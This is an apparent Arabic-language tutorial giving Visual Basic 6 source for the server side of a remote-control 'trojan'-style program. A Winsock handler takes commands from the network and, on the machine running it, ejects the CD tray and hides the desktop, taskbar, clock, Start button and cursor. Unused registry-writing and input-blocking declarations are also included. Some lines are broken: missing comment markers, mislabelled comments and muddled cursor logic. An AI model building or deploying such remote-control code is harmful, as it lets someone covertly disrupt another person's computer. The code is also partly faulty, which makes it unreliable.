

server code

التعديل على الخادم

اكتب في الحدث WSServer_DataArrival التالي'

```
Dim vardata As String 'تعريف لبعض المتغيرات
Dim strdata As String 'تعريف لبعض المتغيرات
WSServer.GetData strdata 'احضار البيانات من عند الخادم
docommand strdata, vardata 'ترتيب الأوامر'
```

الان قم باضافة ٢ موديول جديد وكتب في الموديول الأول'

```
Private Declare Function RegCloseKey Lib "advapi32.dll" _
(ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" _
Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey _
As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias _
"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long
Private Const REG_SZ = 1
Private Const HKEY_CURRENT_USER = &H80000001
```

```
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
```

```
Public Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Const HWND_TOP = 0
Public Const HWND_TOPMOST = -1
Public Const SWP_NOSIZE = &H1
```

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Public Const SWP_NOMOVE = &H2

Public Const FLAGS = SWP_NOSIZE Or SWP_NOMOVE

Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal IpstrCommand As String, ByVal IpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Public Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Declare Function ShowCursor& Lib "user32" _
(ByVal bShow As Long)

Public Const SW_HIDE = 0

Public Const SW_SHOW = 5

Const SWP_HIDEWINDOW = &H80

Public Sub OpenCDDriveDoor(ByVal State As Boolean)

If State = True Then

Call mciSendString("Set CDAudio Door Open", 0&, 0&, 0&)

Else

Call mciSendString("Set CDAudio Door Closed", 0&, 0&, 0&)

End If

End Sub

Public Sub hidedesktop(ByVal State As Boolean)

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```
ShowWindow FindWindowEx(FindWindowEx(FindWindow("Progman", vbNullString), 0&, "SHELLDLL_DefView",  
vbNullString), 0&, "SysListView32", vbNullString), 0  
End Sub
```

```
Public Sub hidetask(ByVal State As Boolean)  
    Dim Handle As Long  
    Handle& = FindWindow("Shell_TrayWnd", vbNullString)  
    ShowWindow Handle&, 0  
End Sub
```

```
Public Sub hideicontask(ByVal State As Boolean)  
    Dim FindClass As Long, Handle As Long  
    FindClass& = FindWindow("Shell_TrayWnd", "")  
    Handle& = FindWindowEx(FindClass&, 0, "TrayNotifyWnd", vbNullString)  
    ShowWindow Handle&, 0  
End Sub
```

```
Public Sub hideclock(ByVal State As Boolean)  
    Dim FindClass As Long, FindParent As Long, Handle As Long  
    FindClass& = FindWindow("Shell_TrayWnd", vbNullString)  
    FindParent& = FindWindowEx(FindClass&, 0, "TrayNotifyWnd", vbNullString)  
    Handle& = FindWindowEx(FindParent&, 0, "TrayClockWClass", vbNullString)  
    ShowWindow Handle&, 0  
End Sub
```

```
Public Sub hidestar(ByVal State As Boolean)  
    Dim Handle As Long, FindClass As Long  
    FindClass& = FindWindow("Shell_TrayWnd", "")  
    Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)  
    ShowWindow Handle&, 0  
End Sub
```

```
Public Sub showdesktop(ByVal State As Boolean)  
    ShowWindow FindWindowEx(FindWindowEx(FindWindow("Progman", vbNullString), 0&, "SHELLDLL_DefView",
```

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```
vbNullString), 0&, "SysListView32", vbNullString), 5
End Sub
Public Sub showclock(ByVal State As Boolean)
    Dim FindClass As Long, FindParent As Long, Handle As Long
    FindClass& = FindWindow("Shell_TrayWnd", vbNullString)
    FindParent& = FindWindowEx(FindClass&, 0, "TrayNotifyWnd", vbNullString)
    Handle& = FindWindowEx(FindParent&, 0, "TrayClockWClass", vbNullString)
    ShowWindow Handle&, 1
End Sub
Public Sub showicontask(ByVal State As Boolean)
    Dim FindClass As Long, Handle As Long
    FindClass& = FindWindow("Shell_TrayWnd", "")
    Handle& = FindWindowEx(FindClass&, 0, "TrayNotifyWnd", vbNullString)
    ShowWindow Handle&, 1
End Sub
Public Sub showtask(ByVal State As Boolean)
    Dim Handle As Long
    Handle& = FindWindow("Shell_TrayWnd", vbNullString)
    ShowWindow Handle&, 1
End Sub
Public Sub showstar(ByVal State As Boolean)
    Dim Handle As Long, FindClass As Long
    FindClass& = FindWindow("Shell_TrayWnd", "")
    Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)
    ShowWindow Handle&, 1
End Sub
```

وهي عبارة عن بعض الدوال'

اكتب في الموديول الثاني'

Public Function docommand(command As String, data As String) 'تصريحات لتنفيذ الأوامر'

Select Case LCase(command) 'ومن منكم لا يعرف هذه الدالة'

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Case "opencd" 'لفتح القرص'
OpenCDDriveDoor (True)

Case "closecd" 'لغلق القرص'
OpenCDDriveDoor (False)

Case "hdesk" 'لاخفاء سطح المكتب'
hidedesktop (True)

Case "sdesk" 'لاظهار سطح المكتب'
showdesktop (True)

Case "htask" 'لاخفاء شريط المهام'
hidetask (True)

Case "stask" 'لاظهار شريط المهام'
showtask (False)

Case "hicontask" 'لاخفاء الايقونات بجانب الساعة'
hideicontask (True)

Case "sicontask" 'لاظهار الايقونات بجانب الساعة'
showicontask (False)

Case "hclk" 'لاخفاء الساعة'
hideclock (True)

Case "sclk" 'لاظهار الساعة الساعة'
showclock (False)

Case "hstar" 'لاخفاء زر ابدء'
hidestar (False)

Case "sstar" 'لاظهار زر ابدء'

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showstar (True)

Case "hmous" لاخفاء الساعة'
ShowCursor (bShow = True)

Case "smous" لاظهار الساعة'
ShowCursor (bShow = False)

End Select
End Function

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